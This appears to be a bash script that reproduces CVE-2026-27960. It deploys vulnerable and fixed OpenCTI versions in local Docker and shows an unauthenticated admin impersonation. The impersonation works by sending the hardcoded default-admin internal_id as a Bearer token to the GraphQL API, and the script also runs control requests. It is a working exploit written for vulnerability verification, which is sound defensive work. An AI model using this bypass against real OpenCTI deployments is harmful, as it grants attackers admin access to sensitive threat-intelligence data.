#!/bin/bash
# CVE-2026-27960 - OpenCTI authentication bypass via user impersonation (unauthenticated)
#
# Root cause: in OpenCTI <= 6.9.12, authenticateUserByTokenOrUserId() resolves the
# HTTP "Authorization: Bearer <value>" token against the user cache map that is keyed
# by internal_id, standard_id, stix ids AND api_token (buildStoreEntityMap in
# src/database/cache.ts). Therefore the bearer credential is accepted if it equals
# ANY user identifier - including the hardcoded default-admin internal_id
# OPENCTI_ADMIN_UUID = '88ec0c6a-13ce-5e39-b486-354fe4a7084f' - without ever checking
# the user's secret api_token. Fixed in 6.9.13 by splitting token vs user-id
# authentication and verifying the bearer value against api_token with
# crypto.timingSafeEqual().
#
# This script deploys the REAL OpenCTI platform (vulnerable 6.9.12 and fixed 6.9.13)
# with its real dependencies (Elasticsearch, Redis, RabbitMQ, MinIO) in Docker and
# sends unauthenticated GraphQL requests through the production HTTP/GraphQL boundary.
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ARTIFACTS="$ROOT/artifacts/opencti"
mkdir -p "$LOGS" "$REPRO_DIR" "$ARTIFACTS"

cd "$ROOT"

ADMIN_UUID='88ec0c6a-13ce-5e39-b486-354fe4a7084f'   # hardcoded OPENCTI_ADMIN_UUID
ADMIN_EMAIL='admin@opencti.io'
ADMIN_PASSWORD='ChangeMe_Password123'
ADMIN_TOKEN='b3f6a2e1-4c5d-4e6f-8a9b-0c1d2e3f4a5b' # secret api_token (never sent by attacker)
HEALTH_KEY='healthcheckkey123'
ENCRYPTION_KEY='dGVzdGtleXRlc3RrZXl0ZXN0a2V5dGVzdGtleTEyMzQ1Njc4OTA='
HOST_PORT=8080
NET='opencti-cve-2026-27960'
ES_IMAGE='docker.elastic.co/elasticsearch/elasticsearch:8.19.16'
REDIS_IMAGE='redis:7-alpine'
MINIO_IMAGE='minio/minio:latest'
RABBIT_IMAGE='rabbitmq:3.13-management-alpine'

log() { echo "[$(date -u +%H:%M:%S)] $*" | tee -a "$LOGS/reproduction_steps.log"; }

cleanup_containers() {
  docker rm -f cve27960-redis cve27960-es cve27960-minio cve27960-rabbit cve27960-platform >/dev/null 2>&1 || true
}
trap cleanup_containers EXIT

write_manifest() {
  ENTRY_DETAIL="$1" SVC_STARTED="$2" HEALTH_OK="$3" PATH_REACHED="$4" MANIFEST_NOTES="$5" \
  python3 - "$REPRO_DIR/runtime_manifest.json" <<'PYEOF'
import json, os, sys
b = lambda v: v.strip().lower() == "true"
manifest = {
    "entrypoint_kind": "endpoint",
    "entrypoint_detail": os.environ["ENTRY_DETAIL"],
    "service_started": b(os.environ["SVC_STARTED"]),
    "healthcheck_passed": b(os.environ["HEALTH_OK"]),
    "target_path_reached": b(os.environ["PATH_REACHED"]),
    "runtime_stack": ["opencti/platform (Node.js GraphQL API)", "elasticsearch", "redis", "rabbitmq", "minio"],
    "proof_artifacts": [
        "logs/reproduction_steps.log",
        "artifacts/opencti/vuln_attack_me_response.json",
        "artifacts/opencti/vuln_attack_users_response.json",
        "artifacts/opencti/vuln_control_noauth_response.json",
        "artifacts/opencti/vuln_control_random_uuid_response.json",
        "artifacts/opencti/vuln_control_valid_token_response.json",
        "artifacts/opencti/fixed_attack_me_response.json",
        "artifacts/opencti/fixed_control_valid_token_response.json",
        "artifacts/opencti/platform_vuln.log",
        "artifacts/opencti/platform_fixed.log"
    ],
    "notes": os.environ["MANIFEST_NOTES"]
}
with open(sys.argv[1], "w") as fh:
    json.dump(manifest, fh, indent=2)
PYEOF
}

start_stack() {
  local version="$1" role="$2"
  cleanup_containers
  docker network inspect "$NET" >/dev/null 2>&1 || docker network create "$NET" >/dev/null

  log "[$role] starting dependencies"
  docker run -d --name cve27960-redis --network "$NET" "$REDIS_IMAGE" >/dev/null
  docker run -d --name cve27960-es --network "$NET" \
    -e discovery.type=single-node -e xpack.security.enabled=false -e xpack.ml.enabled=false \
    -e "ES_JAVA_OPTS=-Xms1g -Xmx1g" "$ES_IMAGE" >/dev/null
  docker run -d --name cve27960-minio --network "$NET" \
    -e MINIO_ROOT_USER=opencti -e MINIO_ROOT_PASSWORD=ChangeMeMinio123 \
    "$MINIO_IMAGE" server /data >/dev/null
  docker run -d --name cve27960-rabbit --network "$NET" \
    -e RABBITMQ_DEFAULT_USER=opencti -e RABBITMQ_DEFAULT_PASS=ChangeMeRabbit123 \
    -v "$ARTIFACTS/rabbitmq.conf:/etc/rabbitmq/rabbitmq.conf:ro" \
    "$RABBIT_IMAGE" >/dev/null

  log "[$role] waiting for elasticsearch"
  for i in $(seq 1 90); do
    if docker exec cve27960-es curl -sf "http://localhost:9200/_cluster/health" 2>/dev/null | grep -qE '"status":"(green|yellow)"'; then
      break
    fi
    sleep 5
    if [ "$i" -eq 90 ]; then log "[$role] elasticsearch never became healthy"; return 1; fi
  done

  log "[$role] waiting for minio"
  for i in $(seq 1 30); do
    if docker exec cve27960-minio mc ready local >/dev/null 2>&1; then break; fi
    sleep 5
  done

  log "[$role] waiting for rabbitmq"
  for i in $(seq 1 60); do
    if docker exec cve27960-rabbit rabbitmq-diagnostics -q ping >/dev/null 2>&1; then break; fi
    sleep 5
    if [ "$i" -eq 60 ]; then log "[$role] rabbitmq never became healthy"; return 1; fi
  done

  log "[$role] starting opencti/platform:$version"
  docker run -d --name cve27960-platform --network "$NET" -p ${HOST_PORT}:8080 \
    -e NODE_OPTIONS=--max-old-space-size=4096 \
    -e APP__PORT=8080 \
    -e APP__BASE_URL=http://localhost:${HOST_PORT} \
    -e APP__ADMIN__EMAIL="$ADMIN_EMAIL" \
    -e APP__ADMIN__PASSWORD="$ADMIN_PASSWORD" \
    -e APP__ADMIN__TOKEN="$ADMIN_TOKEN" \
    -e APP__ENCRYPTION_KEY="$ENCRYPTION_KEY" \
    -e APP__HEALTH_ACCESS_KEY="$HEALTH_KEY" \
    -e PROVIDERS__LOCAL__STRATEGY=LocalStrategy \
    -e REDIS__HOSTNAME=cve27960-redis -e REDIS__PORT=6379 \
    -e ELASTICSEARCH__URL=http://cve27960-es:9200 \
    -e ELASTICSEARCH__NUMBER_OF_REPLICAS=0 \
    -e MINIO__ENDPOINT=cve27960-minio -e MINIO__PORT=9000 -e MINIO__USE_SSL=false \
    -e MINIO__ACCESS_KEY=opencti -e MINIO__SECRET_KEY=ChangeMeMinio123 \
    -e RABBITMQ__HOSTNAME=cve27960-rabbit -e RABBITMQ__PORT=5672 \
    -e RABBITMQ__PORT_MANAGEMENT=15672 -e RABBITMQ__MANAGEMENT_SSL=false \
    -e RABBITMQ__USERNAME=opencti -e RABBITMQ__PASSWORD=ChangeMeRabbit123 \
    "opencti/platform:$version" >/dev/null

  log "[$role] waiting for opencti platform health (migrations can take several minutes)"
  for i in $(seq 1 120); do
    local code
    code=$(curl -s -o /dev/null -w '%{http_code}' "http://localhost:${HOST_PORT}/health?health_access_key=$HEALTH_KEY" 2>/dev/null || echo 000)
    if [ "$code" = "200" ]; then log "[$role] platform healthy after ~$((i*5))s"; return 0; fi
    sleep 5
    if [ "$i" -eq 120 ]; then
      log "[$role] platform never became healthy (last code=$code)"
      docker logs --tail 80 cve27960-platform >"$LOGS/platform_${role}_startup_failure.log" 2>&1 || true
      return 1
    fi
  done
}

graphql() { # graphql <outfile> [authorization-header]
  local out="$1" auth="${2:-}"
  if [ -n "$auth" ]; then
    curl -s -X POST "http://localhost:${HOST_PORT}/graphql" \
      -H 'Content-Type: application/json' -H "Authorization: $auth" \
      -d '{"query":"query { me { id name user_email } }"}' > "$out"
  else
    curl -s -X POST "http://localhost:${HOST_PORT}/graphql" \
      -H 'Content-Type: application/json' \
      -d '{"query":"query { me { id name user_email } }"}' > "$out"
  fi
}

log "=== CVE-2026-27960 reproduction: OpenCTI unauthenticated admin impersonation ==="

OVERALL=0

#############################################################################
# PHASE 1: VULNERABLE version 6.9.12
#############################################################################
if start_stack "6.9.12" "vuln"; then
  docker logs cve27960-platform >"$ARTIFACTS/platform_vuln.log" 2>&1 || true

  # ATTACK: unauthenticated request using ONLY the public, hardcoded admin internal_id
  graphql "$ARTIFACTS/vuln_attack_me_response.json" "Bearer $ADMIN_UUID"
  log "[vuln] attack response (Bearer = hardcoded admin internal_id, no credentials):"
  cat "$ARTIFACTS/vuln_attack_me_response.json" | tee -a "$LOGS/reproduction_steps.log"

  # ATTACK 2: admin-only users listing through the same unauthenticated impersonation
  curl -s -X POST "http://localhost:${HOST_PORT}/graphql" \
    -H 'Content-Type: application/json' -H "Authorization: Bearer $ADMIN_UUID" \
    -d '{"query":"query { users(first: 5) { edges { node { id user_email } } } }"}' \
    > "$ARTIFACTS/vuln_attack_users_response.json"
  log "[vuln] admin-only users listing via impersonation:"
  cat "$ARTIFACTS/vuln_attack_users_response.json" | tee -a "$LOGS/reproduction_steps.log"

  # CONTROL 1: truly no Authorization header must be rejected
  graphql "$ARTIFACTS/vuln_control_noauth_response.json"
  # CONTROL 2: random unknown UUID must be rejected (proves it is not "any bearer works")
  graphql "$ARTIFACTS/vuln_control_random_uuid_response.json" "Bearer 11111111-2222-3333-4444-555555555555"
  # CONTROL 3: the real secret api_token must work (proves the service/auth works)
  graphql "$ARTIFACTS/vuln_control_valid_token_response.json" "Bearer $ADMIN_TOKEN"

  VULN_OK=0
  if jq -e --arg email "$ADMIN_EMAIL" '.data.me.user_email == $email' "$ARTIFACTS/vuln_attack_me_response.json" >/dev/null 2>&1 \
     && jq -e --arg email "$ADMIN_EMAIL" '[.data.users.edges[].node.user_email] | index($email) != null' "$ARTIFACTS/vuln_attack_users_response.json" >/dev/null 2>&1 \
     && ! jq -e '.data.me.user_email' "$ARTIFACTS/vuln_control_noauth_response.json" >/dev/null 2>&1 \
     && ! jq -e '.data.me.user_email' "$ARTIFACTS/vuln_control_random_uuid_response.json" >/dev/null 2>&1 \
     && jq -e --arg email "$ADMIN_EMAIL" '.data.me.user_email == $email' "$ARTIFACTS/vuln_control_valid_token_response.json" >/dev/null 2>&1; then
    VULN_OK=1
    log "[vuln] CONFIRMED: unauthenticated bearer=admin_internal_id authenticated as $ADMIN_EMAIL and listed users"
  else
    log "[vuln] vulnerable behavior NOT reproduced"
  fi
else
  log "[vuln] stack failed to start"
  VULN_OK=0
  OVERALL=2
fi

#############################################################################
# PHASE 2: FIXED version 6.9.13 (negative control)
#############################################################################
if start_stack "6.9.13" "fixed"; then
  docker logs cve27960-platform >"$ARTIFACTS/platform_fixed.log" 2>&1 || true

  graphql "$ARTIFACTS/fixed_attack_me_response.json" "Bearer $ADMIN_UUID"
  log "[fixed] same attack against 6.9.13:"
  cat "$ARTIFACTS/fixed_attack_me_response.json" | tee -a "$LOGS/reproduction_steps.log"
  graphql "$ARTIFACTS/fixed_control_valid_token_response.json" "Bearer $ADMIN_TOKEN"
  log "[fixed] control with real api_token against 6.9.13:"
  cat "$ARTIFACTS/fixed_control_valid_token_response.json" | tee -a "$LOGS/reproduction_steps.log"

  FIXED_OK=0
  if ! jq -e '.data.me.user_email' "$ARTIFACTS/fixed_attack_me_response.json" >/dev/null 2>&1 \
     && jq -e --arg email "$ADMIN_EMAIL" '.data.me.user_email == $email' "$ARTIFACTS/fixed_control_valid_token_response.json" >/dev/null 2>&1; then
    FIXED_OK=1
    log "[fixed] CONFIRMED: attack rejected on 6.9.13 while real token still works"
  else
    log "[fixed] fixed-version control FAILED (attack may still work or service broken)"
  fi
else
  log "[fixed] stack failed to start"
  FIXED_OK=0
  OVERALL=2
fi

#############################################################################
# VERDICT
#############################################################################
if [ "${VULN_OK:-0}" = "1" ] && [ "${FIXED_OK:-0}" = "1" ]; then
  write_manifest "POST /graphql on opencti/platform (vuln 6.9.12, fixed 6.9.13) with Authorization: Bearer hardcoded admin internal_id" true true true "Unauthenticated GraphQL request bearing only the hardcoded OPENCTI_ADMIN_UUID authenticated as default admin on 6.9.12 and was rejected on 6.9.13; valid api_token accepted on both."
  log "RESULT: CVE-2026-27960 CONFIRMED (vulnerable 6.9.12 impersonated default admin unauthenticated; fixed 6.9.13 rejected)"
  exit 0
fi

if [ "$OVERALL" = "2" ]; then
  write_manifest "POST /graphql" false false false "Stack failed to start - infrastructure failure, see logs"
  log "RESULT: INFRASTRUCTURE FAILURE"
  exit 2
fi

write_manifest "POST /graphql" true true false "Vulnerable behavior not confirmed; see per-request response artifacts"
log "RESULT: NOT CONFIRMED"
exit 1
